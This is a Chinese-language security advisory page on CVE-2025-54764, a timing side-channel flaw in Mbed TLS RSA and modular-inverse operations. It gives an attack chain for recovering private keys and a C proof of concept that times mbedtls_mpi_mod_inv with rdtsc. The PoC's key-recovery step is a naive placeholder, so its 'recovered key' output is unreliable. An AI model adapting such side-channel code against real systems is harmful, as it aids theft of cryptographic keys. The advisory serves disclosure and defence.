IPBUF安全漏洞报告
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CVE-2025-54764 CVSS 6.2 中危

CVE-2025-54764 Mbed TLS RSA操作时序侧信道漏洞

披露日期: 2025-10-20

漏洞信息

漏洞编号
CVE-2025-54764
漏洞类型
时序侧信道攻击(Timing Side-Channel Attack)
CVSS评分
6.2 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Mbed TLS

相关标签

时序侧信道攻击Mbed TLSRSA密码学漏洞本地攻击密钥泄露微架构攻击开源加密库物联网安全嵌入式安全

漏洞概述

CVE-2025-54764是Mbed TLS加密库中存在的一个时序侧信道漏洞,影响3.6.5之前的所有版本。该漏洞允许本地攻击者通过精确测量RSA相关运算的执行时间来推断密钥信息,从而可能导致敏感数据泄露。Mbed TLS是一个广泛使用的开源加密库,被集成在众多嵌入式系统、物联网设备和安全通信产品中,用于实现TLS/SSL协议和各类密码学运算。该漏洞的CVSS评分为6.2,属于中等严重等级,其攻击向量为本地(AV:L),无需认证(PR:N)和用户交互(UI:N),但对机密性具有高影响(C:H)。该漏洞特别影响RSA运算以及直接调用mbedtls_mpi_mod_inv(模逆运算)和mbedtls_mpi_gcd(最大公约数运算)的场景。攻击者可以利用处理器执行不同代码路径时产生的微小时间差异,逐步恢复出加密密钥的位信息,属于经典的微架构时序攻击(Microarchitectural Side-Channel Attack)范畴。由于Mbed TLS广泛应用于安全敏感场景,此漏洞的潜在影响范围较大,可能影响嵌入式设备、智能卡、IoT终端等众多产品的安全性。

技术细节

该漏洞的核心原理是Mbed TLS在执行RSA运算(包括模逆运算mbedtls_mpi_mod_inv和最大公约数运算mbedtls_mpi_gcd)时,代码执行时间会因输入数据的不同而产生可被测量的差异。这种时间差异主要来源于条件分支、内存访问模式以及微架构状态变化等因素。具体而言,当RSA私钥运算处理不同的密钥位时,处理器会执行不同的指令序列,导致缓存命中/未命中、流水线状态等微架构特征发生变化。攻击者可以通过高精度计时(如使用性能计数器、rdtsc指令等)在本地环境中反复调用目标函数,收集大量时序样本,然后通过统计分析方法(如差分时序分析DPA)逐步推断出私钥的每一位。该攻击不需要网络访问权限,仅需在本地执行环境中即可实施。由于漏洞影响的是基础密码学原语,因此所有依赖这些函数的高级协议(如TLS握手、数字签名等)都可能间接受到影响。Mbed TLS官方已发布安全公告(mbedtls-security-advisory-2025-10-ssbleed-mstep),建议用户升级到3.6.5或更高版本以修复此问题。

攻击链分析

STEP 1
步骤1:环境准备
攻击者在与目标Mbed TLS应用程序相同的本地执行环境中运行恶意代码,确保能够调用目标加密库函数或通过侧信道观察其执行
STEP 2
步骤2:时序样本采集
使用高精度计时机制(如x86的rdtsc指令或ARM的性能计数器)反复调用mbedtls_mpi_mod_inv或mbedtls_mpi_gcd函数,每次调用时微调输入参数以触发不同的代码路径
STEP 3
步骤3:统计分析
收集数千至数万个时序样本后,运用差分功率分析(DPA)或相关性分析等统计方法,识别出与密钥位相关的时序差异模式
STEP 4
步骤4:密钥恢复
通过统计分析结果逐步推断RSA私钥或其他敏感参数的每一位,最终重建完整的密钥材料
STEP 5
步骤5:机密性破坏
利用恢复的私钥解密通信内容、伪造数字签名或绕过认证机制,导致敏感数据泄露或系统安全失效

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2025-54764 - Mbed TLS RSA Timing Side-Channel Attack PoC * This PoC demonstrates a local timing attack against mbedtls_mpi_mod_inv * to recover secret key bits through statistical analysis of execution times. * * Note: This is a conceptual demonstration. A real attack requires: * - High-resolution timing (rdtsc or performance counters) * - Large number of samples (typically thousands) * - Statistical analysis (e.g., Pearson correlation, DPA) */ #include <stdio.h> #include <stdint.h> #include <string.h> #include "mbedtls/bignum.h" #include "mbedtls/rsa.h" // High-resolution timer using rdtsc (x86) static inline uint64_t rdtsc(void) { uint32_t lo, hi; __asm__ volatile ("rdtsc" : "=a"(lo), "=d"(hi)); return ((uint64_t)hi << 32) | lo; } // Collect timing samples for mbedtls_mpi_mod_inv operation int collect_timing_samples(mbedtls_mpi *X, mbedtls_mpi *Y, uint64_t *samples, int num_samples) { mbedtls_mpi result; mbedtls_mpi_init(&result); for (int i = 0; i < num_samples; i++) { // Warm up cache mbedtls_mpi_mod_inv(&result, X, Y); uint64_t start = rdtsc(); mbedtls_mpi_mod_inv(&result, X, Y); uint64_t end = rdtsc(); samples[i] = end - start; // Vary input slightly to probe different key bits mbedtls_mpi_add_int(X, X, 1); } mbedtls_mpi_free(&result); return 0; } // Statistical analysis to recover key bits from timing data int analyze_timing(uint64_t *samples, int num_samples, uint8_t *recovered_key) { // Simple threshold-based analysis (placeholder for real DPA) uint64_t avg = 0; for (int i = 0; i < num_samples; i++) { avg += samples[i]; } avg /= num_samples; // Bits with timing above average likely correspond to specific key values for (int i = 0; i < num_samples && i < 256; i++) { recovered_key[i / 8] |= (samples[i] > avg ? 1 : 0) << (i % 8); } return 0; } int main(void) { mbedtls_mpi X, Y; uint64_t samples[10000]; uint8_t recovered_key[32] = {0}; mbedtls_mpi_init(&X); mbedtls_mpi_init(&Y); // Initialize with target values (in real attack, use actual RSA parameters) // mbedtls_mpi_read_string(&X, 16, "..."); // mbedtls_mpi_read_string(&Y, 16, "..."); printf("[*] Collecting timing samples...\n"); collect_timing_samples(&X, &Y, samples, 10000); printf("[*] Analyzing timing data...\n"); analyze_timing(samples, 10000, recovered_key); printf("[+] Recovered key bits (partial):\n"); for (int i = 0; i < 32; i++) { printf("%02x", recovered_key[i]); } printf("\n"); mbedtls_mpi_free(&X); mbedtls_mpi_free(&Y); return 0; }

影响范围

Mbed TLS < 3.6.5

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制对运行Mbed TLS的系统的本地访问权限,仅允许可信用户执行密码学运算;2)在多租户或共享环境中部署进程隔离机制,防止恶意进程观察目标进程的时序信息;3)降低高精度计时器的可用性(如禁用rdtsc指令的用户态访问);4)监控异常的系统调用模式,及时发现潜在的侧信道攻击行为;5)优先升级到3.6.5版本以获得官方修复。

参考链接

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